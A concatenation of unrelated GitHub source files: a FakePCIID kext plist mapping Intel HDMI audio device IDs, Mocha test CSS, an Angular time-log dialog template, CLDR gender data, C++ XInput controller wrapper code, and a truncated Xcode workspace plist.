<key>Intel HDMI Audio - 100-series 0x9d74 0x9d71 0x9d70 0xa171</key> <dict> <key>CFBundleIdentifier</key> <string>org.rehabman.driver.FakePCIID</string> <key>FakeProperties</key> <dict> <key>RM,device-id</key> <data> cKEAAA== </data> </dict> <key>IOClass</key> <string>FakePCIID</string> <key>IOMatchCategory</key> <string>FakePCIID</string> <key>IOPCIPrimaryMatch</key> <string>0x9d748086 0x9d718086 0x9d708086 0xa1718086</string> <key>IOProviderClass</key> <string>IOPCIDevice</string> </dict> <key>Intel HDMI Audio - 100-series 0xa170</key> <dict> <key>CFBundleIdentifier</key> <string>org.rehabman.driver.FakePCIID</string> <key>FakeProperties</key> <dict> <key>RM,device-id</key> <data> cJ0AAA== </data> </dict> <key>IOClass</key> <string>FakePCIID</string> <key>IOMatchCategory</key> <string>FakePCIID</string> <key>IOPCIPrimaryMatch</key> <string>0xa1708086</string> <key>IOProviderClass</key> <string>IOPCIDevice</string> </dict> <key>Intel HDMI Audio - 200-series 0xa2f0</key> <dict> <key>CFBundleIdentifier</key> <string>org.rehabman.driver.FakePCIID</string> <key>FakeProperties</key> <dict> <key>RM,device-id</key> <data> cKEAAA== </data> </dict> <key>IOClass</key> <string>FakePCIID</string> <key>IOMatchCategory</key> <string>FakePCIID</string> <key>IOPCIPrimaryMatch</key> <string>0xa2f08086</string> <key>IOProviderClass</key> <string>IOPCIDevice</string> </dict> <key>Intel HDMI Audio - 300-series 0xa348 0x9dc8</key> <dict> <key>CFBundleIdentifier</key> <string>org.rehabman.driver.FakePCIID</string> <key>FakeProperties</key> <dict> <key>RM,device-id</key> <data> cKEAAA== </data> </dict> <key>IOClass</key> <string>FakePCIID</string> <key>IOMatchCategory</key> <string>FakePCIID</string> <key>IOPCIPrimaryMatch</key> <string>0xa3488086 0x9dc88086</string> <key>IOProviderClass</key> <string>IOPCIDevice</string> </dict> <key>Intel HDMI Audio - Haswell</key> <dict> <key>CFBundleIdentifier</key> <string>org.rehabman.driver.FakePCIID</string> <key>FakeProperties</key> <dict> <key>RM,device-id</key> <data> DAoAAA== </data> </dict> <key>IOClass</key> <string>FakePCIID</string> <key>IOMatchCategory</key> <string>FakePCIID</string> <key>IOPCIPrimaryMatch</key> <string>0x0c0c8086</string> <key>IOProviderClass</key> <string>IOPCIDevice</string> </dict> </dict> <key>OSBundleRequired</key> <string>Root</string> <key>Source Code</key> <string>https://github.com/RehabMan/FakePCIID</string> </dict> </plist>
{ "pile_set_name": "Github" }
@charset "UTF-8"; body { font: 20px/1.5 "Helvetica Neue", Helvetica, Arial, sans-serif; padding: 60px 50px; } #mocha ul, #mocha li { margin: 0; padding: 0; } #mocha ul { list-style: none; } #mocha h1, #mocha h2 { margin: 0; } #mocha h1 { margin-top: 15px; font-size: 1em; font-weight: 200; } #mocha h1 a { text-decoration: none; color: inherit; } #mocha h1 a:hover { text-decoration: underline; } #mocha .suite .suite h1 { margin-top: 0; font-size: .8em; } #mocha h2 { font-size: 12px; font-weight: normal; cursor: pointer; } #mocha .suite { margin-left: 15px; } #mocha .test { margin-left: 15px; } #mocha .test:hover h2::after { position: relative; top: 0; right: -10px; content: '(view source)'; font-size: 12px; font-family: arial; color: #888; } #mocha .test.pending:hover h2::after { content: '(pending)'; font-family: arial; } #mocha .test.pass.medium .duration { background: #C09853; } #mocha .test.pass.slow .duration { background: #B94A48; } #mocha .test.pass::before { content: '✓'; font-size: 12px; display: block; float: left; margin-right: 5px; color: #00d6b2; } #mocha .test.pass .duration { font-size: 9px; margin-left: 5px; padding: 2px 5px; color: white; -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.2); -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.2); box-shadow: inset 0 1px 1px rgba(0,0,0,.2); -webkit-border-radius: 5px; -moz-border-radius: 5px; -ms-border-radius: 5px; -o-border-radius: 5px; border-radius: 5px; } #mocha .test.pass.fast .duration { display: none; } #mocha .test.pending { color: #0b97c4; } #mocha .test.pending::before { content: '◦'; color: #0b97c4; } #mocha .test.fail { color: #c00; } #mocha .test.fail pre { color: black; } #mocha .test.fail::before { content: '✖'; font-size: 12px; display: block; float: left; margin-right: 5px; color: #c00; } #mocha .test pre.error { color: #c00; } #mocha .test pre { display: inline-block; font: 12px/1.5 monaco, monospace; margin: 5px; padding: 15px; border: 1px solid #eee; border-bottom-color: #ddd; -webkit-border-radius: 3px; -webkit-box-shadow: 0 1px 3px #eee; } #report.pass .test.fail { display: none; } #report.fail .test.pass { display: none; } #error { color: #c00; font-size: 1.5 em; font-weight: 100; letter-spacing: 1px; } #stats { position: fixed; top: 15px; right: 10px; font-size: 12px; margin: 0; color: #888; } #stats .progress { float: right; padding-top: 0; } #stats em { color: black; } #stats a { text-decoration: none; color: inherit; } #stats a:hover { border-bottom: 1px solid #eee; } #stats li { display: inline-block; margin: 0 5px; list-style: none; padding-top: 11px; } code .comment { color: #ddd } code .init { color: #2F6FAD } code .string { color: #5890AD } code .keyword { color: #8A6343 } code .number { color: #2F6FAD }
{ "pile_set_name": "Github" }
<button size="small" class="close-button" nbButton ghost (click)="close()" type="button" > <nb-icon icon="close-outline"></nb-icon> </button> <nb-card> <nb-card-header> <div class="row" *ngxPermissionsOnly="[PermissionsEnum.CHANGE_SELECTED_EMPLOYEE]" > <div class="col"> <ngx-avatar [name]="timeLog?.employee?.user?.name" [src]="timeLog?.employee?.user?.imageUrl" [caption]=" (timeLog?.startedAt | utcToLocal | timeFormat: true) + ' - ' + (timeLog?.stoppedAt ? (timeLog?.stoppedAt | utcToLocal | timeFormat: true) : ('TIMESHEET.TILL_NOW' | translate)) + ' (' + (timeLog?.duration | durationFormat) + ')' " ></ngx-avatar> </div> <div class="col-auto"> <ngx-label [status]="TimeLogsLable[timeLog?.logType].status" [text]="TimeLogsLable[timeLog?.logType].text" > </ngx-label> </div> </div> </nb-card-header> <nb-card-body class="custom-scroll"> <div> <strong >{{ 'TIMESHEET.ORGANIZATION_CONTACT' | translate }} : </strong> <span>{{ timeLog?.organizationContact ? timeLog?.organizationContact.name : ('TIMESHEET.NO_ORGANIZATION_CONTACT' | translate) }}</span> </div> <div class="mt-3"> <div class="description mb-2"> <strong>{{ 'TIMESHEET.PROJECT' | translate }} : </strong> {{ timeLog?.project ? timeLog?.project.name : ('TIMESHEET.NO_PROJECT' | translate) }} </div> </div> <div class="mt-3"> <div class="description"> <strong>{{ 'TIMESHEET.TODO' | translate }} : </strong> {{ timeLog?.task ? timeLog?.task?.title : ('TIMESHEET.NO_TODO' | translate) }} </div> </div> <div class="mt-3" *ngIf="timeLog?.description"> <div class="font-weight-bold mb-2"> {{ 'TIMESHEET.NOTES' | translate }} : </div> <div class="description">{{ timeLog?.description }}</div> </div> <div class="mt-3" *ngIf="timeLog?.reason"> <div class="font-weight-bold mb-2"> {{ 'TIMESHEET.REASON' | translate }} : </div> <div class="description"> {{ timeLog?.reason }} </div> </div> </nb-card-body> <nb-card-footer> <button size="small" class="mr-2" nbButton status="primary" (click)="openDialog()" *ngxPermissionsOnly="[ OrganizationPermissionsEnum.ALLOW_MODIFY_TIME ]" > <nb-icon icon="edit"></nb-icon> {{ 'TIMESHEET.EDIT' | translate }} </button> <button size="small" class="mr-2" nbButton status="danger" ngxConfirmDialog [message]="'TIMESHEET.DELETE_TIMELOG' | translate" (confirm)="onDeleteConfirm()" *ngxPermissionsOnly="[ OrganizationPermissionsEnum.ALLOW_DELETE_TIME ]" > <nb-icon icon="trash-2-outline"></nb-icon> {{ 'TIMESHEET.DELETE' | translate }} </button> </nb-card-footer> </nb-card>
{ "pile_set_name": "Github" }
{ "supplemental": { "version": { "_number": "$Revision: 11914 $", "_unicodeVersion": "10.0.0", "_cldrVersion": "32.0.1" }, "gender": { "personList": { "ar": "maleTaints", "ca": "maleTaints", "cs": "maleTaints", "es": "maleTaints", "fr": "maleTaints", "he": "maleTaints", "hi": "maleTaints", "hr": "maleTaints", "it": "maleTaints", "lt": "maleTaints", "lv": "maleTaints", "mr": "maleTaints", "nl": "maleTaints", "pl": "maleTaints", "pt": "maleTaints", "ro": "maleTaints", "ru": "maleTaints", "sk": "maleTaints", "sl": "maleTaints", "sr": "maleTaints", "uk": "maleTaints", "ur": "maleTaints", "zh": "maleTaints", "zh-Hant": "maleTaints", "el": "mixedNeutral", "is": "mixedNeutral", "af": "neutral", "bg": "neutral", "bn": "neutral", "da": "neutral", "de": "neutral", "en": "neutral", "et": "neutral", "eu": "neutral", "fa": "neutral", "fi": "neutral", "fil": "neutral", "gu": "neutral", "hu": "neutral", "id": "neutral", "ja": "neutral", "kn": "neutral", "ko": "neutral", "ml": "neutral", "ms": "neutral", "no": "neutral", "sv": "neutral", "sw": "neutral", "ta": "neutral", "te": "neutral", "th": "neutral", "tr": "neutral", "vi": "neutral", "zu": "neutral" } } } }
{ "pile_set_name": "Github" }
#include "stdafx.h" static CSCPController* l_Pad[XUSER_MAX_COUNT]; static BOOL l_bPassThrough = false, l_bStarted = false, l_bUnloaded = false; static DWORD l_nPads = 0, l_nAttached = 0, l_nBtPads = 0; BOOL LoadApi(BOOL bEnable) { if (bEnable) l_nAttached++; else l_nAttached--; if (bEnable && !l_bStarted && !l_bUnloaded) { load_lib_usb(); WRAP_LoadXInput(true); // Load Bluetooth DS3s CBTConnection* BtPad = new CBTConnection(); if (BtPad->Open()) { l_nBtPads = BtPad->CollectionSize; for(DWORD Index = 0; Index < BtPad->CollectionSize; Index++) { l_Pad[l_nPads++] = BtPad; } } else delete BtPad; CSCPController* Pad; // Load DS3s if (l_nBtPads == 0) // Only if not using BTH Server { for (DWORD Index = 0; Index < XUSER_MAX_COUNT * CDS3Controller::CollectionSize && l_nPads < XUSER_MAX_COUNT; Index++) { Pad = new CDS3Controller(Index); if (Pad->Open()) l_Pad[l_nPads++] = Pad; else { delete Pad; break; } } } // Load SL3s for (DWORD Index = 0; Index < XUSER_MAX_COUNT * CSL3Controller::CollectionSize && l_nPads < XUSER_MAX_COUNT; Index++) { Pad = new CSL3Controller(Index); if (Pad->Open()) l_Pad[l_nPads++] = Pad; else { delete Pad; break; } } // Load DS2s for (DWORD Index = 0; Index < XUSER_MAX_COUNT * CDS2Controller::CollectionSize && l_nPads < XUSER_MAX_COUNT; Index++) { Pad = new CDS2Controller(Index); if (Pad->Open()) l_Pad[l_nPads++] = Pad; else delete Pad; } // Load X360s if (l_nBtPads == 0) // Only if not using BTH Server { for (DWORD Index = 0; Index < XUSER_MAX_COUNT * CX360Controller::CollectionSize && l_nPads < XUSER_MAX_COUNT; Index++) { Pad = new CX360Controller(Index); if (Pad->Open()) l_Pad[l_nPads++] = Pad; else delete Pad; } } l_bStarted = true; if (l_nPads == 0) { // No Devices found, PassThrough only l_bPassThrough = true; } } else if (!bEnable && l_bStarted && !l_bUnloaded && l_nAttached == 0) { l_bStarted = false; l_bUnloaded = true; if (l_nBtPads > 0) { l_Pad[0]->Close(); delete l_Pad[0]; } for (DWORD Index = l_nBtPads; Index < l_nPads; Index++) { l_Pad[Index]->Close(); delete l_Pad[Index]; } return WRAP_LoadXInput(bEnable); } return true; } DWORD WINAPI XInputGetState ( __in DWORD dwUserIndex, // Index of the gamer associated with the device __out XINPUT_STATE* pState // Receives the current state ) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->GetState(dwUserIndex, pState); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputGetState(dwUserIndex, pState); } DWORD WINAPI XInputSetState ( __in DWORD dwUserIndex, // Index of the gamer associated with the device __in XINPUT_VIBRATION* pVibration // The vibration information to send to the controller ) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->SetState(dwUserIndex, pVibration); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputSetState(dwUserIndex, pVibration); } DWORD WINAPI XInputGetCapabilities ( __in DWORD dwUserIndex, // Index of the gamer associated with the device __in DWORD dwFlags, // Input flags that identify the device type __out XINPUT_CAPABILITIES* pCapabilities // Receives the capabilities ) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->GetCapabilities(dwUserIndex, dwFlags, pCapabilities); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputGetCapabilities(dwUserIndex, dwFlags, pCapabilities); } void WINAPI XInputEnable ( __in BOOL enable // [in] Indicates whether xinput is enabled or disabled. ) { if (l_bUnloaded) return; if (!l_bStarted) LoadApi(true); if (!enable) { XINPUT_VIBRATION Vibration = { 0, 0 }; for (DWORD nPad = 0; nPad < l_nPads; nPad++) { XInputSetState(nPad, &Vibration); } } WRAP_XInputEnable(enable); } DWORD WINAPI XInputGetDSoundAudioDeviceGuids ( __in DWORD dwUserIndex, // Index of the gamer associated with the device __out GUID* pDSoundRenderGuid, // DSound device ID for render __out GUID* pDSoundCaptureGuid // DSound device ID for capture ) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->GetDSoundAudioDeviceGuids(dwUserIndex, pDSoundRenderGuid, pDSoundCaptureGuid); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputGetDSoundAudioDeviceGuids(dwUserIndex, pDSoundRenderGuid, pDSoundCaptureGuid); } DWORD WINAPI XInputGetBatteryInformation ( __in DWORD dwUserIndex, // Index of the gamer associated with the device __in BYTE devType, // Which device on this user index __out XINPUT_BATTERY_INFORMATION* pBatteryInformation // Contains the level and types of batteries ) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->GetBatteryInformation(dwUserIndex, devType, pBatteryInformation); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputGetBatteryInformation(dwUserIndex, devType, pBatteryInformation); } DWORD WINAPI XInputGetKeystroke ( __in DWORD dwUserIndex, // Index of the gamer associated with the device __reserved DWORD dwReserved, // Reserved for future use __out PXINPUT_KEYSTROKE pKeystroke // Pointer to an XINPUT_KEYSTROKE structure that receives an input event. ) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->GetKeystroke(dwUserIndex, dwReserved, pKeystroke); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputGetKeystroke(dwUserIndex, dwReserved, pKeystroke); } DWORD WINAPI XInputGetExtended(DWORD dwUserIndex, SCP_EXTN* pPressure) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->GetExtended(dwUserIndex, pPressure); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return ERROR_NOT_SUPPORTED; } // UNDOCUMENTED DWORD WINAPI XInputGetStateEx(DWORD dwUserIndex, XINPUT_STATE* pState) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->GetStateEx(dwUserIndex, pState); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputGetStateEx(dwUserIndex, pState); } DWORD WINAPI XInputWaitForGuideButton(DWORD dwUserIndex, DWORD dwFlag, LPVOID pVoid) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->WaitForGuideButton(dwUserIndex, dwFlag, pVoid); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputWaitForGuideButton(dwUserIndex, dwFlag, pVoid); } DWORD WINAPI XInputCancelGuideButtonWait(DWORD dwUserIndex) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->CancelGuideButtonWait(dwUserIndex); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputCancelGuideButtonWait(dwUserIndex); } DWORD WINAPI XInputPowerOffController(DWORD dwUserIndex) { if (l_bUnloaded) return ERROR_DEVICE_NOT_CONNECTED; if (!l_bStarted) LoadApi(true); if (!l_bPassThrough) { if (dwUserIndex < l_nPads) { return l_Pad[dwUserIndex]->PowerOffController(dwUserIndex); } else { return ERROR_DEVICE_NOT_CONNECTED; } } return WRAP_XInputPowerOffController(dwUserIndex); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>$archiver</key> <string>NSKeyedArchiver</string> <key>$objects</key> <array> <string>$null</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>2</integer> </dict> <dict> <key>CF$UID</key> <integer>3</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>4</integer> </dict> <dict> <key>CF$UID</key> <integer>163</integer> </dict> </array> </dict> <string>IDEWorkspaceDocument</string> <string>IDEWorkspaceWindowController_0</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>5</integer> </dict> <dict> <key>CF$UID</key> <integer>6</integer> </dict> <dict> <key>CF$UID</key> <integer>7</integer> </dict> <dict> <key>CF$UID</key> <integer>8</integer> </dict> <dict> <key>CF$UID</key> <integer>9</integer> </dict> <dict> <key>CF$UID</key> <integer>10</integer> </dict> <dict> <key>CF$UID</key> <integer>11</integer> </dict> <dict> <key>CF$UID</key> <integer>12</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>14</integer> </dict> <dict> <key>CF$UID</key> <integer>133</integer> </dict> <dict> <key>CF$UID</key> <integer>136</integer> </dict> <dict> <key>CF$UID</key> <integer>141</integer> </dict> <dict> <key>CF$UID</key> <integer>142</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> </array> </dict> <string>BreakpointsActivated</string> <string>DefaultEditorStatesForURLs</string> <string>ActiveScheme</string> <string>ActiveRunDestination</string> <string>DocumentWindows</string> <string>RecentEditorDocumentURLs</string> <string>AppFocusInMiniDebugging</string> <string>DebuggingWindowsLayerMode</string> <false/> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>15</integer> </dict> <dict> <key>CF$UID</key> <integer>16</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>17</integer> </dict> <dict> <key>CF$UID</key> <integer>104</integer> </dict> </array> </dict> <string>Xcode.IDEKit.EditorDocument.SourceCode</string> <string>Xcode.Xcode3ProjectSupport.EditorDocument.Xcode3Project</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>18</integer> </dict> <dict> <key>CF$UID</key> <integer>22</integer> </dict> <dict> <key>CF$UID</key> <integer>24</integer> </dict> <dict> <key>CF$UID</key> <integer>26</integer> </dict> <dict> <key>CF$UID</key> <integer>28</integer> </dict> <dict> <key>CF$UID</key> <integer>30</integer> </dict> <dict> <key>CF$UID</key> <integer>32</integer> </dict> <dict> <key>CF$UID</key> <integer>34</integer> </dict> <dict> <key>CF$UID</key> <integer>36</integer> </dict> <dict> <key>CF$UID</key> <integer>38</integer> </dict> <dict> <key>CF$UID</key> <integer>40</integer> </dict> <dict> <key>CF$UID</key> <integer>42</integer> </dict> <dict> <key>CF$UID</key> <integer>44</integer> </dict> <dict> <key>CF$UID</key> <integer>46</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>48</integer> </dict> <dict> <key>CF$UID</key> <integer>56</integer> </dict> <dict> <key>CF$UID</key> <integer>63</integer> </dict> <dict> <key>CF$UID</key> <integer>67</integer> </dict> <dict> <key>CF$UID</key> <integer>70</integer> </dict> <dict> <key>CF$UID</key> <integer>74</integer> </dict> <dict> <key>CF$UID</key> <integer>77</integer> </dict> <dict> <key>CF$UID</key> <integer>80</integer> </dict> <dict> <key>CF$UID</key> <integer>83</integer> </dict> <dict> <key>CF$UID</key> <integer>87</integer> </dict> <dict> <key>CF$UID</key> <integer>91</integer> </dict> <dict> <key>CF$UID</key> <integer>94</integer> </dict> <dict> <key>CF$UID</key> <integer>97</integer> </dict> <dict> <key>CF$UID</key> <integer>101</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>19</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridViewController.m</string> </dict> <dict> <key>$classes</key> <array> <string>NSMutableString</string> <string>NSString</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSMutableString</string> </dict> <dict> <key>$classes</key> <array> <string>NSURL</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSURL</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>23</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>25</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>27</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>29</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>31</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>33</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridView.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>35</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>37</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>39</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>41</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridView.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>43</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridView+CellLayout.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>45</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>47</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>53</integer> </dict> <dict> <key>CF$UID</key> <integer>54</integer> </dict> </array> </dict> <string>PrimaryDocumentSelectedCharacterRange</string> <string>PrimaryDocumentVisibleCharacterRange</string> <string>PrimaryDocumentTimestamp</string> <string>{0, 0}</string> <string>{0, 2342}</string> <real>303662807.656335</real> <dict> <key>$classes</key> <array> <string>NSMutableDictionary</string> <string>NSDictionary</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSMutableDictionary</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>57</integer> </dict> <dict> <key>CF$UID</key> <integer>58</integer> </dict> <dict> <key>CF$UID</key> <integer>59</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>60</integer> </dict> <dict> <key>CF$UID</key> <integer>61</integer> </dict> <dict> 